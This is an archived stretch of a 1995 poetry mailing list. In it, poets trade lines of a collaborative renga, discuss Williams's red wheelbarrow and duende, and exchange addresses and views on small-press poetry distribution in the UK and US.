> *Flaubert because we're waiting all throughout eternity for moments to be*
> *of such suchness. In the nooks were creams and in the streams were hooks.*
> *All melded like striated film leftover in the pastel seeds of darkness*
> *falling like a counterirritant around the manchineel. Likewise*
> *sandpaper juxtaposed with seasoned instruments and recently soft fruit*
> *of subject's object status, violent transformation*
> *la Ste. Therese into beaming cumulus apokoinu switchback*
> *and in the u-turns were bookmobiles rounding angles considered*
> *shrill as pine left in the acres to be aging*
> *flawlessly, flutes sing genderless in trio, surprised*
> *by how quiet effort really is or is not, fast enough to sleep*
> *through thunderstorms, arm over thigh until light shakes*
> *petals free of names that rain across known skin forgotten*
> *alive in our hearse hurts, projective nurse if she is to go ahead*
> *and dance, composing instead of straining muscles, far eyes*
> *saunter lope pentecost beam operator will you cockpit*
> *out, transplanted organs speak, the idiom*
> *inseams, a snare as solvently unequal-- the power*
> *uncreased although each snare still trembles quantum*
> *which explains why the pump is busted and why*
> *he preferred whole afternoons on the phone to that*
> *crap about not having a cousin on the moon*
> *capable of keeping the canoe right way up in the cool*
> *prose of the upper Hudson, dinner's at seven so*
> *start swimmin, bud: "lay me down in a wetsuit,*
> *heats me up in the sleaze," it's like a huge dose*
> *of familiarity. I am storing radiance for later use*

I know the war-whoop in each dusty narrative
among the invoices and the difference engines
Char, Lee, Parr, Kerr, everybody is here and there
> collecting the stamp hinges that come in on the breeze
delicate lace flies into pelican Bills in the house
of narration with partners of good moisture. Here, touch my
< ebullience with a token gesture of sauce, of the red stuff.

Date: Wed, 6 Sep 1995 20:53:32 -0400
From: Jorge Guitart <[redacted]>
Subject: Re: Two rengs dont make a write

On Wed, 6 Sep 1995, George Bowering wrote:

On Mon, 4 Sep 1995, Thomas Bell wrote:

Jordan Davis writes

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And flew through windows, lightning green and fine morning
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Go endlessly, an obtuse Prussian blue, it binds
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These lace curtains, more gauze than bondage, more
Mollycoddled than aware, thin-spined and pebbling
but narrow in the waist or waspish Sunday years ago
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& opining, heavy humid air, cumulus amusing against the
bleached ribcage ripcorded into compassed wind
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gives gracious problem: fanatical snacks, landscape of
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halfway pertinent incision we keep making safe for ignorance
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pockets in small furniture intended house sequentially several
mountains away but it wasn't, you know, a big tango
when the attorney general came, selah hales said, "Dias, oh,ho,
kook!"
Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
warehouse, curls
no ideas but the woven fabric the texture so to speak was at the
dry cleaners
piping hot and gloved-in somewhere unsalted, perched on

> *prescience*
> *the chair is sad, alas, and i've lusted tootles' livers*
> *the odor day toy a cello day dis chevys a bo coo daughter chose*
> *encore*
> *Flaubert because we're waiting all throughout eternity for*
> *moments to be*
> *of such suchness. In the nooks were creams and in the streams*
> *were hooks.*
> *All melded like striated film leftover in the pastel seeds of*
> *darkness*
> *falling like a counterirritant around the manchineel. Likewise*
> *sandpaper juxtaposed with seasoned instruments and recently soft*
> *fruit*
> *of subject's object status, violent transformation*
> *la Ste. Therese into beaming cumulus apokoinu switchback*
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> *by how quiet effort really is or is not, fast enough to sleep*
> *through thunderstorms, arm over thigh until light shakes*
> *petals free of names that rain across known skin forgotten*
> *alive in our hearse hurts, projective nurse if she is to go ahead*
> *and dance, composing instead of straining muscles, far eyes*
> *saunter lope pentecost beam operator will you cockpit*
> *out, transplanted organs speak, the idiom*
> *inseams, a snare as solvently unequal-- the power*
> *uncreased although each snare still trembles quantum*
> *which explains why the pump is busted and why*
> *he preferred whole afternoons on the phone to that*
> *crap about not having a cousin on the moon*
> *capable of keeping the canoe right way up in the cool*
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> *start swimmin, bud: "lay me down in a wetsuit,*
> *heats me up in the sleaze," it's like a huge dose*
> *of familiarity. I am storing radiance for later use*
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> *among the invoices and the difference engines*
> *Char, Lee, Parr, Kerr, everybody is here and there*
> *> collecting the stamp hinges that come in on the breeze*
> *delicate lace flies into pelican Bills in the house*
> *of narration with partners of good moisture. Here, touch my*
> *< ebullience with a token gesture of sauce, of the red stuff.*
> *I have a lot of duende in the freezer & we can defrost some*
>
> ---
>
> *Date: Wed, 6 Sep 1995 18:00:38 -0700*
> *From: Stephen Galen Cope <[redacted]>*

> *Subject: duende*
>
> *There's a pop-flamenco group called Pata Negra*
> *whose recording "Blues de la Frontera" is a musical*
> *example of the blues/ duende link being discussed.*
> *Incidentally, there's another group by the name of*
> *Amalgama - a collaboration between jazz and flamenco*
> *musicians from Spain and the Karnataka College of*
> *Percussion, from India - whose work testifies to*
> *the important cultural link between blues/ jazz and*
> *gypsy cante jondo that the Indian Raga provides...*
>
> *-Stephen Cope*
>
> *(O, and both groups can be found on a 3-CD compilation*
> *called "Duende: The Passion and Dazzling Virtuosity*
> *of Flamenco," put out by Ellipses Arts (Rosalyn, NY)*
> *last year. Not the greatest title, but a decent comp-*
> *ilation w/ decent liner notes...*
>
> ---
>
> *End of POETICS Digest - 5 Sep 1995 to 6 Sep 1995*
> **********

↑ Index

171. **Jorge Guitart**

trees and wheelbarrows

Thu 7 Sep 1995

---

the woman in the ambulance who was tired of trees was the narrator's english grandmother, wasn't she. (did wcw really have an english grandmother? it doesn't matter.

to me trees are tiresome as moral mirrors but wheelbarrows are not. it is an innovation that hasn't lost its character as such.

i hear in "So much depends upon....etc." a quite desperation, a very american quiet desperation.

a lot of williams is boring like a lot of a lot of people. but a lot is not, including that moral wheelbarrow.

↑ Index

172. kathryne Lindberg
Re: duende
Thu 7 Sep 1995

Right on duende. Right on!--as one was wont to say. The power and the enabling force of the popular (perhaps a troublesome word) is not to be forgotten. I am reminded particularly of Claude McKay's brilliant insistence on this in *Banjo*. As a poet, McKay was straightjacketed to some extent. He swerved to prose and to that special source/spirit that inspired (breathed life into) Lorca and lots of folks who have found blues, North African seaports and Marseilles simpatico. Pardon the digression on McKay, but he importantly resisted mainstream and assimilationist dismissals of work and lives that might well be associated with duende, with a mysterious bundling of beauty and pain.

To others, thanks for the Lorca and Mackey suggestions, but this was exactly the point of departure for my question.

There are two very different peridical numbers just out, re: jazz. 1) boundary 2, which is mainly interviews of some jazz greats 2) the most recent issue of African American Review, with a nice piece by Lorenzo Thomas and lots of very nice short takes, including a 1918 New Orleans Picayeune denunciation of the amoral animalism of jass and jassism--- yessssss

↑ Index

173. cris cheek
Degree in Skepticism
Thu 7 Sep 1995

> *Regarding the "Cambridge School," I've recently had brought home to me in correspondence the degree of skepticism about the career and activities of the late Eric Mottram among some of that group.*

Keith, a Degree in Skepticism is an apposite proposal. At least some of Eric's writings (both essays and poetries) would make the reading list.

love and love
cris

↑ Index

174. cris cheek
Re: Capitals
Thu 7 Sep 1995

> *As for London,*

As a fairly recent emigre, born and lived within its caucas many years, it's a big shout gone out to the Pig Possee on the capital and its draining effects.

Over-sophisticated audience almost incapable of response, cynicism beyond the cool of stultification, cultural complacency. Infrastructural abyss, transportational hell and a glutton for resources as Mr. Caddell so justly testifies. Cack on its eggplant!

Guess with such a rave review that more will want to live there.

love and love,
(from a veritable font of generosity (you should hear what Londoners have to say about 'the provinces') "oh that this tutu septic isle would tilt and skid into the briny trough' ("-get off!"))
cris
p.s. - and as for Cambridge - you've squandered the fumes, now suck the cables dry

↑ Index

175. Tom Taylor
(Fwd) magazine you #15
Thu 7 Sep 1995

------- Forwarded Message Follows -------
From: Self <CH1/TOMT>
To: [redacted]
Subject: magazine you #15
Date: Thur 7 Sept 95 10am

I'm pleased to announce that magazine you #15 is available from me at anabasis po box 216 Oysterville WA, 98641 *about 90 pp -==- different stuff, limited edition first cut @ $7.50, 2.50 shpg MAY BE DUPLICATED visionary material, positing a new direction MAY BE DUPLICATED

↑ Index

176. Gale Nelson
Re: your american cousin/distribution
Thu 7 Sep 1995

The Grolier Bookstore (poetry only)
address is, I believe:

Five Plympton Street
Cambridge MA 02138.

I suspect someone who has access to more than memory can check this and confirm (or amend).

Gale Nelson

↑ Index

177. cris cheek
Re: your american cousin/distribution
Thu 7 Sep 1995

> *The "problem" of distribution is political, and not simply a matter of supply and demand.*

Yes Carolyn, I completely agree with you - as far as the big picture goes and how the small picture is affected by the big and so on.

My suggestion is, and was when this subject last came up, that we have some power as a community (albeit one of interests and of communities with diverse constituencies) to buck the imposition of structure. Loss rightly asserts the potential of the EPC in such regard. I'm heartened to hear of Luisa - do you have an e-dress or snail address for her? She sounds somewhat along the lines of Paul Green here, who's been mentioned already.

love and love
cris

↑ Index

178. cris cheek
Re: Red Wheelbarrow
Thu 7 Sep 1995

Tom wrote:
> Makes me think of the old woman in the ambulance in
> the Williams poem: "What are those things? Trees? Well I'm tired of
> them."

I'm reminded of a woman who took books back an east London library and berated the librarian for allowing her daughters to withdraw them. "You've no idea what germs they bring into the house!"

love and love
cris

↑ Index

179. LAURA MORIARTY
Day/Moriarty reading
Thu 7 Sep 1995

Hello everyone,

I have a little guilt that I've mostly only posted here when I'm reading, but am on this list at work and don't have time to do more than lurk.

This reading's venue has been changed, so even though this is late to mention it:

idiom presents

Jean Day and Laura Moriarty reading at Brewed Awakenings, 1807 Euclid at Hearst in Berkeley, 7:00 PM, Sunday, 10 Sept

This is Alex Corey's series that used to be at Energy Art's Studio in Oakland.

[redacted]

↑ Index

180. Tony Green
Re: Poets, Nations,
Thu 7 Sep 1995

Luxembourg readers of poetry presumably outrun New Zealand readers. I asked Alan Loney (who has published much poetry here) about
print-runs.
------- Forwarded Message Follows -------
Date: Thu, 7 Sep 1995 15:22:41 GMT+1200
From: Alan Loney <[redacted]>
Subject: Re: (Fwd) Re: Poets, Nations,

"inneresting! Usually 300, sometimes 200 copies. The
standard poetry edition (commercial) here is now 500 copies.

cheers,
Alan"

Population:3 1/2 million.

Best

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,

Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

↑ Index

181. **Robert A Harrison**
Visual Poetry Catalog
Thu 7 Sep 1995

Hi --

A catalog of the Visual Poetry show held at the Hermetic Gallery in Milwaukee, WI is available. To those who contributed, I'll get you a copy real soon. The catalog includes an essays by Johanna Drucker and Karl Young, and VP work from

Dick Higgins
Irving Weiss
Daniel Davidson
Peter Balestrieri
Steve McCaffery
Spencer Selby
Pete Spence
Crag Hill
Nico Vassilakis
John Cayley
Fernando Aguiar
Karl Young
Johanna Drucker
Leroy Gorman
John Byrum
John M. Bennett & Susan Smith Nash
Clemente Padin
Steve Nelson - Raney
Bob Grumman
Hachivi Edgar Heap of Birds
Karl Kempton
Thomas Taylor
Avelino de Araujo

To get a copy, send a check for $10 (US) to:

Bob Harrison
2542 N. Bremen, #2
Milwaukee, WI 53212

The show will be up till September 21. The address:

Hermetic
828 E. Locust
Milwaukee, Wisconsin

Thanks lots to everyone who submitted.

↑ Index

182. Steve Evans
The Ear of Alfred Corn
Thu 7 Sep 1995

The list has no memory, I know, but....

In the inaugural issue of Sulfur (1981), Eliot
Weinberger wrote: "Today, who among _Sulfur_
readers (which I take as the progressive, but not
radical flank) can spot the ear of Alfred Corn,
or distinguish between Howard and Stanley Mosses?"

No significant change in terms--more accurately:
principles of division--in FIFTEEN years (down even
to the immortal strategy of making fun of the foreigner's
name).

Just an observation (not a just observation).

Steve Evans

↑ Index

183. George Bowering
Re: What if it were all in Spanish?
Thu 7 Sep 1995

Hmm, many decades ago, when I was qualifying for grad school, I chose Spanish as my second language at UBC. Maybe because the university is situated on a promontory of Vancouver called Spanish Banks.

But I still read Bioy Casares mainly in English.

↑ Index

184. George Bowering
Re: Red Wheelbarrow
Thu 7 Sep 1995

Why the hell should the professor make a "viable connection between the poetry and the students"? That is the students' job, if they think that is important. If they are bored by poetry, let them go and take a course in paleantology and look for a viable connection between themselves and some trilobite.

↑ Index

185. Ken Edwards
your american cousin
Thu 7 Sep 1995

Aldon: Sadly, most of the British poets mentioned recently are not easily found in UK book stores either. They're published by small presses which don't have access to nationwide distribution. But some at least can be obtained in the USA from Small Press Distribution in Berkeley.

Um - who's Wilson Harris?

- Ken

↑ Index

186. George Bowering
Re: Two rengs dont make a write
Thu 7 Sep 1995

On Sept 7 the hand of Doom wrote:>
> On Wed, 6 Sep 1995, George Bowering wrote:
>
> > >
> > > On Mon, 4 Sep 1995, Thomas Bell wrote:
> > >
> > > > Jordan Davis writes
> > > >
> > > > > > In the books were dreams and in the dreams were books.>
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> > > > > > bleached ribcage ripcorded into compassed wind
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> > > > > > flicka son of thunderhead and the storm in the glass of water's
> > > > > > halfway pertinent incision we keep making safe for ignorance
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> > > > > > when the attorney general came, selah hales said, "Dias, oh,ho,
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> > > > > > dry cleaners
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> > > > > > the chair is sad, alas, and i've lusted tootles' livers
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> > > > > > encore
> > > > > > Flaubert because we're waiting all throughout eternity for
> > > > > > moments to be
> > > > > > of such suchness. In the nooks were creams and in the streams
> > > > > > were hooks.
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> > > > > > darkness
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> > > > > > sandpaper juxtaposed with seasoned instruments and recently soft
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> > > > > > petals free of names that rain across known skin forgotten
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> > > > > > and dance, composing instead of straining muscles, far eyes
> > > > > > saunter lope pentecost beam operator will you cockpit
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> > > > > > capable of keeping the canoe right way up in the cool
> > > > > > prose of the upper Hudson, dinner's at seven so
> > > > > > start swimmin, bud: "lay me down in a wetsuit,
> > > > > > heats me up in the sleaze," it's like a huge dose
> > > > > > of familiarity. I am storing radiance for later use
> > > > > > I know the war-whoop in each dusty narrative
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> > > > delicate lace flies into pelican Bills in the house
> > > of narration with partners of good moisture. Here, touch my
> > > > < ebullience with a token gesture of sauce, of the red stuff.
> I have a lot of duende in the freezer & we can defrost some
 > woods on a snowy evening, my horse is lovely dark and deep

↑ Index

187. Wendy Battin

Re: your american cousin/distribution

Thu 7 Sep 1995

> *I'm heartened to hear of Luisa - do you have an e-dress or snail address for her?*

Louisa Solano
Grolier Bookstore
6 Plympton St.
Cambridge MA 01038

↑ Index

188. **Wendy Battin**
Re: your american cousin/distribution
Thu 7 Sep 1995

---

sorry, wrong zip for the Grolier, shd be 02138

↑ Index

189. **Ron Silliman**
Study the Dead
Thu 7 Sep 1995

Gale Nelson wrote: "Legend has it that when Dallas Wiebe wanted to do his dissertation on Ezra Pound, he was told by the department that he couldn't for the same reason as George Bowering was told he couldn't study Bunting. Wiebe, so the story goes, then suggested Wyndham Lewis as subject for his dissertation. Reports tell us that the faculty involved were unsure whether or not Lewis was alive; as they didn't want to admit this, they approved the dissertation plan.
>
David Melnick had the same problem at Berkeley studying Zukofsky in the early 1970s, so proposed instead to do a dissertation on 20th Century poets interpretations of Shakespeare, wrote the Zukofsky chapter, then dropped out of school.

Ron Silliman
[redacted]

↑ Index

190. **Ron Silliman**
Re: Poets, Nations,
Thu 7 Sep 1995

George Bowering wrote:
>
>An aside to Ron's mentioning of poets who write in languages of fewer
>than 100 million people. It gets more difficult: think of Hungarian
>writers and Finnish writers. But there is another problem too, for
>writers who write in French in Quebec or Tahiti, or writers who write
>in English in Canada or new Zealand. In Canada the few readers there
>are are likely to be reading US writers rather than Canadian ones
>because of the US imperialist control of Canadian distribution.
>Concerning your question, Ron, about Califormia being a national
>literature. What if it were all in Spanish?

>
It would sound better. But the Miwok poets would be pissed.

↑ Index

191. CAROLYN L. FORCHE-MATTISON
Re: Grolier snailmail
Thu 7 Sep 1995

The Grolier Bookshop
2 Plympton Street
Cambridge, MA 02138
1-800-234-POEM

↑ Index

192. Charles Alexander
Re: your american cousin/distribution
Thu 7 Sep 1995

I must say that I don't know if they like doing mail order business or not, but Woodland Pattern Book Center is far better than Grolier for poetry, and, I believe, particularly for poetry which people on this list might want to find. This is not to knock Grolier, and I know if I was in Cambridge I would go there and buy some books, but what they carry is, I believe, more limited in terms of the interests of this list than Woodland Pattern, or Talking Leaves in Buffalo, or, certainly, the bookstore at Small Press Distribution in Berkeley (& they most certainly do mail order business).

Woodland Pattern's address is
P.O. Box 92081
Milwaukee, WI 53202
Telephone [redacted]

Small Press Distribution's address is
1814 San Pablo Ave.
Berkeley, CA 94702
Telephone [redacted]

I don't have an address at hand for Talking Leaves in Buffalo.

I know the discussion of bookstores and how poorly or well they serve poetry has come around and gone around on this list before, so I apologize if these comments seem repetitive.

charles alexander [==========^^==========]
[<>]

chax press [losing <> wants]
[a letter <> it all]
phone & fax: [redacted] [means <> over]
[ink <> again]
e-mail: [redacted] [<>]
[==========vv==========]

↑ Index

193. Charles Alexander

Re: your american cousin/distribution

Thu 7 Sep 1995

Thank you, Carolyn, for pointing out the need for change in the tax laws on warehousing books. Also thank you for your support of various presses on the NEA panel. Even from across the room year before last (where I sat on the magazine panel), your support of presses publishing innovative poetries was obvious & welcome.

One other sad note on distribution. Inland Books, which hasn't perhaps been primarily a literary distributor, but which has over the years distributed books for a number of presses (including Chax, although not many books and the payment record was strange) is, according to a recent report I heard, going into bankruptcy. I have also heard of another distributor of which I do not know the name, but which is the primary distributor for New Rivers Press here in Minneapolis, going through bankruptcy. While bankruptcy doesn't necessarily mean they will cease to exist, it is nonetheless disturbing and makes the situation of independent publishing in this country even more tenuous. Thank the stars (as well as many real people) for Small Press Distribution. Long may it wave books.

charles

charles alexander [==========^^==========]
[<>]
chax press [losing <> wants]
[a letter <> it all]
phone & fax: [redacted] [means <> over]
[ink <> again]
e-mail: [redacted] [<>]
[==========vv==========]

↑ Index

194. Jeffrey Timmons
Re: Red Wheelbarrow
Fri 8 Sep 1995

On Thu, 7 Sep 1995, Daniel Bouchard/College/hmco wrote:

> *I've kept at poetry*
> *despite all the professors I've had, and altho some were very good, very few could make a viable connection between the poetry and the students. Usually the points were made between the poetry and the poet; the relevance of the poetry to the student being a matter of little significance.*

Perhaps; but responsibility for the students to create their relevance falls on their shoulders just as much as on the prof's--as your comments about your own relation to poetry suggest.

Jeffrey Timmons

↑ Index

195. Ron Silliman
Re: your Finnish-american cousin
Fri 8 Sep 1995

Tony Green asks,
>Aldon, isn't this difficulty of transatlantic interconnection
>largely due to book-sellers agreements on trading. American
>publications are pretty well invisible in Britain aren't they?
>
>
But I recall Anselm Hollo some years back talking about his period in London working for the BBC in the 1950s (I believe it was), that one could get ANY American small press book in the UK then without great difficulty and that that, more than anything else, was what had changed the scene and then itself changed over the course of his life. Of course, much of what made that possible was the paucity of small press titles during that era.

Ron Silliman

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196. Pierre Joris
Re: your Finnish-american cousin
Fri 8 Sep 1995

>
> Tony Green asks,

> >Aldon, isn't this difficulty of transatlantic interconnection
> >largely due to book-sellers agreements on trading. American
> >publications are pretty well invisible in Britain aren't they?
> >
> >
> But I recall Anselm Hollo some years back talking about his period in
> London working for the BBC in the 1950s (I believe it was), that one
> could get ANY American small press book in the UK then without great
> difficulty and that that, more than anything else, was what had changed
> the scene and then itself changed over the course of his life. Of
> course, much of what made that possible was the paucity of small press
> titles during that era.
>
> Ron Silliman
>
True Ron, & it was even more so a few years later -- when I moved from NYC to London in 1970, the poetry section in Compendium Books, run by Nick Kimberley, was better than any poetry section in any New York bookshop at that time. (There was also Better Books where many poets worked). But by the middle seventies, with Nick losing inetrest (reggae got him) & the energy in the shop going towards radical gay/lesbian politics, the poetry section withered away. I've always wondered about the confluence of a wider public interest in (buying) poetry & the presence of those one or two competent individuals making the books available.

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Pierre Joris | "Poems are sketches for existence."
Dept. of English | --Paul Celan
SUNY Albany |
Albany NY 12222 | "Revisionist plots
tel&fax:[redacted] | are everywhere and our pronouns haven't yet
email: | drawn up plans for the first coup."
[redacted]| --J.H. Prynne

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197. cris cheek
Re: cousin cousine
Fri 8 Sep 1995

Re US books available in the UK. This is a personal feel and others here might well have a different take.

In Compendium, for longest the most consistantly useful bookshop for small press poetry in London and the UK. (interestingly in the mid 1970s Compendium had 3 shops in close proximity, one of which had an upstairs dedicated, as I remember it, almost entirely to poetry little presses and poetry magazines - not there is just one shop and poetry occupies one range of shelving about 2 metres long and 10 feet high) There's a presence of books published by Sun and Moon, Black Sparrow, Station Hill, Burning Deck, Potes and Poets, Roof, Coffee House and a smattering of magazines (assorted copies of Sulfur, Poetics Journal, Talisman).

Inadequate and frustrating, but something.

love and love
cris

↑ Index

198. R I Caddel
distribution / boredom
Fri 8 Sep 1995

"Poetry is for interested people" - Zukofsky

Plainly, if your aim is to reach large numbers of people, contemporary poetry, which is widely recognised as "difficult", isn't the vehicle you should select. Likewise, if you want a course that's going to be easy to relate to and not give you any problems, you should give the modern poetry option a miss. In fact, most courses will present such difficulties, since the idea is usually to present something you don't know about.

People don't publish in "small presses" simply because they can't be in "big presses", and as writer and publisher I've no real interest in increasing circulation to "big press" dimensions (a Pig print run is c.500; an OUP current poetry print run is c 1700 - so statistically similar against a UK population of over 58 million as to be not worth arguing about). But I started publishing because I didn't see the books I wanted to read, and was concerned from the first to reach others in the same situation. I'm still working on it. Early interest from the US (based on two or three shops and half a dozen people) suggested to me that there at least was a vast continent of articulate and enthusiastic readers of new poetry: I'm beginning to suspect that this is not the case...

So, one deals in twos and threes. Because much of the material IS problematical in some way, it doesn't do to compromise over something like production: in the UK we have a supposed "small press distribution" organisation called Password, which I dropped out of some years back when they started to tell me what shape and size and format the booksellers wanted "my" books to be, and even what sort of covers to put on them. Usually the suggestions related to increased standardisation for ease of handling. Now: I design books in order to present texts to readers - the booksellers can either help in this process, or get out of the way and sell pulp. Most choose the latter, and that's fine by me.

Interesting to hear the situation in the Czech republic and Hungary, how closely it matches Poland and Estonia (Estonia has an Estonian-speaking population of a million, and at the start of the decade they could sell a whole edition of new poetry - 50,000 copies - in a day). Poets in both those countries are now involved in short-run publishing, very much as Chris Cheek describes it. And very exciting it is too.

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199. **Pierre Joris**

Re: UK Resources etc

Fri 8 Sep 1995

Ric writes & asks:

> *One hopes that one day Bruccoli-Clark will do a follow-up volume. But spare a thought for those wandering souls who fail the country-of-origin test of these strictly controlled formats: for instance, where would Pierre Joris appear? Answers on a postcard... (Pierre: would you like to say what volume you'd like to appear in, and who you'd choose for company?)*

Well, Ric, it's a funny ole question: there is a level at which I don't care (& even relish not being included in anything based on notions of belonging defined by the nation-state, that monstruous euro-creation).There is, however, a deeper level at which I obviously would like the work to be, if not "included," then made visible --& in that do feel a nomadic "belonging" to any of the various geographical places I have spent time in. The company is vast & changing -- that is the great pleasure of the nomadic -- impossible to define once & for all. In a way, the anthologies that Jerry Rothenberg & I have put together (Vol I out later this month) are my/our company: there's a couple hundred plus writers from all over the world in those books -- looks like home to me!

Pierre

==========

Pierre Joris | "Poems are sketches for existence."
Dept. of English | --Paul Celan
SUNY Albany |
Albany NY 12222 | "Revisionist plots
tel&fax:[redacted] | are everywhere and our pronouns haven't yet
email: | drawn up plans for the first coup."
[redacted]| --J.H. Prynne
==========

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200. **Pierre Joris**

Re: Jabes

Fri 8 Sep 1995

Eric, thanks for the info -- was however unable to locate "Body" on
the LSU campus gopher. any advice? pierre>
> Pierre:I think Jeff Humphries is working on a translation of
> _A Field of Islands_, but I don't know when and if it is coming out.
> I know you can read an excerpt (those of you who are EnglishOnly) on
> the LSU campus gopher under Body_L: literature electric and new.
> Great stuff, incidentally.
> Thanks, Eric.
>

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Pierre Joris | "Poems are sketches for existence."
Dept. of English | --Paul Celan
SUNY Albany |
Albany NY 12222 | "Revisionist plots
tel&fax:[redacted] | are everywhere and our pronouns haven't yet
email: | drawn up plans for the first coup."
[redacted]| --J.H. Prynne
==========

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201. **Sheila E. Murphy**
Re: Two rengs dont make a write
Fri 8 Sep 1995

>> > > > > > In the books were dreams and in the dreams were books.>
>> > > > > > And flew through windows '95, lightning green and fine morning
>> > > > > > First inverted whistle of a cardinal in the poplar
>> > > > > > The book and the oboe on the grass under sun and cloud
>> > > > > > Go endlessly, an obtuse Prussian blue, it binds
>> > > > > > The caravan of windows to what they flee
>> > > > > > These lace curtains, more gauze than bondage, more
>> > > > > > Mollycoddled than aware, thin-spined and pebbling
>> > > > > > but narrow in the waist or waspish Sunday years ago
>> > > > > > Over coffee topped with whipped lads, the Times blowing
>> > > > > > & opining, heavy humid air, cum amusing against the
>> > > > > > bleached ribcage ripcorded into compassed wind
>> > > > > > kissing the weatherwoman between her beasts as she
>> > > > > > gives gracious problem: fanatical snacks, landscape of
>> > > > > > flicka son of thunderhead and the storm in the glass of water's
>> > > > > > halfway pertinent incision we keep making safe for ignorance
>> > > > > > (inspection
>> > > > > > denied for not knowing how credenza was meant) & neo-colonizing
>> > > > > > pockets in small furniture intended house sequentially several
>> > > > > > mountains away but it wasn't, you know, a big tango
>> > > > > > when the attorney general came, selah hales said, "Dias, oh,ho,
>> > > > > > kook!"
>> > > > > > Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
>> > > > > > warehouse, curls
>> > > > > > no ideas but the woven fabric the texture so to speak was at the
>> > > > > > dry cleaners
>> > > > > > piping hot and gloved-in somewhere unsalted, perched on
>> > > > > > prescience
>> > > > > > the chair is sad, alas, and i've lusted tootles' livers
>> > > > > > the odor day toy a cello day dis chevys a bo coo daughter chose
>> > > > > > encore
>> > > > > > Flaubert because we're waiting all throughout eternity for
>> > > > > > moments to be
>> > > > > > of such suchness. In the nooks were creams and in the streams
>> > > > > > were hooks.
>> > > > > > All melded like striated film leftover in the pastel seeds of
>> > > > > > darkness

>> > > > > > falling like a counterirritant around the manchineel. Likewise
>> > > > > > sandpaper juxtaposed with seasoned instruments and recently soft
>> > > > > > fruit
>> > > > > > of subject's object status, violent transformation
>> > > > > > la Ste. Therese into beaming cumulus apokoinu switchback
>> > > > > > and in the u-turns were bookmobiles rounding angles considered
>> > > > > > shrill as pine left in the acres to be aging
>> > > > > > flawlessly, flutes sing genderless in trio, surprised
>> > > > > > by how quiet effort really is or is not, fast enough to sleep
>> > > > > > through thunderstorms, arm over thigh until light shakes
>> > > > > > petals free of names that rain across known skin forgotten
>> > > > > > alive in our hearse hurts, projective nurse if she is to go ahead
>> > > > > > and dance, composing instead of straining muscles, far eyes
>> > > > > > saunter lope pentecost beam operator will you cockpit
>> > > > > > out, transplanted organs speak, the idiom
>> > > > > > inseams, a snare as solvently unequal-- the power
>> > > > > > uncreased although each snare still trembles quantum
>> > > > > > which explains why the pump is busted and why
>> > > > > > he preferred whole afternoons on the phone to that
>> > > > > > crap about not having a cousin on the moon
>> > > > > > capable of keeping the canoe right way up in the cool
>> > > > > > prose of the upper Hudson, dinner's at seven so
>> > > > > > start swimmin, bud: "lay me down in a wetsuit,
>> > > > > > heats me up in the sleaze," it's like a huge dose
>> > > > > of familiarity. I am storing radiance for later use
>> > > > > > I know the war-whoop in each dusty narrative
>> > > > > > among the invoices and the difference engines
>> > > > > > Char, Lee, Parr, Kerr, everybody is here and there
>> > > > > collecting the stamp hinges that come in on the breeze
>> > > > delicate lace flies into pelican Bills in the house
>> > > of narration with partners of good moisture. Here, touch my
>> > > > < ebullience with a token gesture of sauce, of the red stuff.
>> I have a lot of duende in the freezer & we can defrost some
> > woods on a snowy evening, my horse is lovely dark and deep
as penitence, but let's elude the shakes and drear, get lost in our palaver

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202. Marjorie Perloff
Re: Distribution of British poetry
Fri 8 Sep 1995

This is indeed a terrific problem, partly because the Brit establishment (in TLS, LRB, etc) is even more entrenched and narrowly focused than ours (and that's saying a lot!) and so it's hard for "alternate" poetries to break through. But I actually think it's gotten better the last few years, what with Peter Gizzi's EXACT CHANGE YEARBOOK with that great Anglo-Irish portfolio ed. Tom Raworth, Prynne's Chinese portfolio, and chapbook and so on.

I think something can be done: namely, poets in the U.K. should routinely send a copy of their chapbooks, little mags, etc. to U.S. journals like SULFUR, CONJUNCTIONS, DENVER QUARTERLY, LINGO, TO, TALISMAN, CENTRAL PARK etc. Anthologists should consider seriously opening up the field and being sure to include U.K., Australian, NZ, and other poetries in English rather than the endless mononationalism we now endorse. Look at those titles: AMERICAN POETRY REVIEW, NEW AMERICAN WRITING, AMERICAN BOOK REVIEWetc. And rather than ghettoizing U.K. poetry in a course called "Contemporary British Poetry" we should be sure the contemp poetry courses themselves are multinational.

Marjorie Perloff

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203. Herb Levy
Wilson Harris
Fri 8 Sep 1995

> *Um - who's Wilson Harris?*

Wilson Harris is a writer born in British Guyana who's written many novels, including the Guyana Quartet (Palace of the Peacock, The Far Journey of Oudin, The Whole Armour, & The Secret Ladder) & the Carnival Trilogy (Carnival, The Infinite Rehearsal, & The Four Banks of the River of Space) both published by Faber & Faber & relatively available in the US. Harris has some poetry that I haven't read and a good book of criticism/theory. There are several books about him and a chapter or two in Nate Mackey's Oxford Press book of essays. There's also a big feature on Harris in issue #6 of Mackey's mag Hambone.

It's been a while since I read any of the work. Sorry I can't be of more help.

Herb Levy

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204. I.LIGHTMAN
uk poetry and compendium books
Fri 8 Sep 1995

It's worth saying, as an addition to Cris Cheek's useful summary, that one of the most frustrating things about Compendium's poetry shelves in the 90s is near zero recognition of the huge renaissance of avant-garde writing by female American writers since the 80s; no Harryman at all, no Dahlen, some Hejinian and Howe, no Day, no Darragh, no Bellamy, no Ward, no Marlatt. There's none of the interesting younger American poets, under thirty, say. And there's very few gay American writers from the 80s, no Steve Benson's Blue Book, for example. In other words, very little avant- garde writing that, as tended to happen interestingly in avant-garde writing in the 80s, that wears feminist or queer politics *explicitly* (eg the author both reads linguistically difficult writing and proudly declares membership of the women's movement or the gay rights movement). Since a lot of the younger Americans who I read take it now as granted that you can do this, be avant-garde and declare membership of these movements, so that they don't always have to, it's no surprise to me that their work doesn't get stocked at Compendium either; the initial shocktroops never got sent in.

Ira Lightman

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205. Fred Muratori
Persian Gulf Poetry
Fri 8 Sep 1995

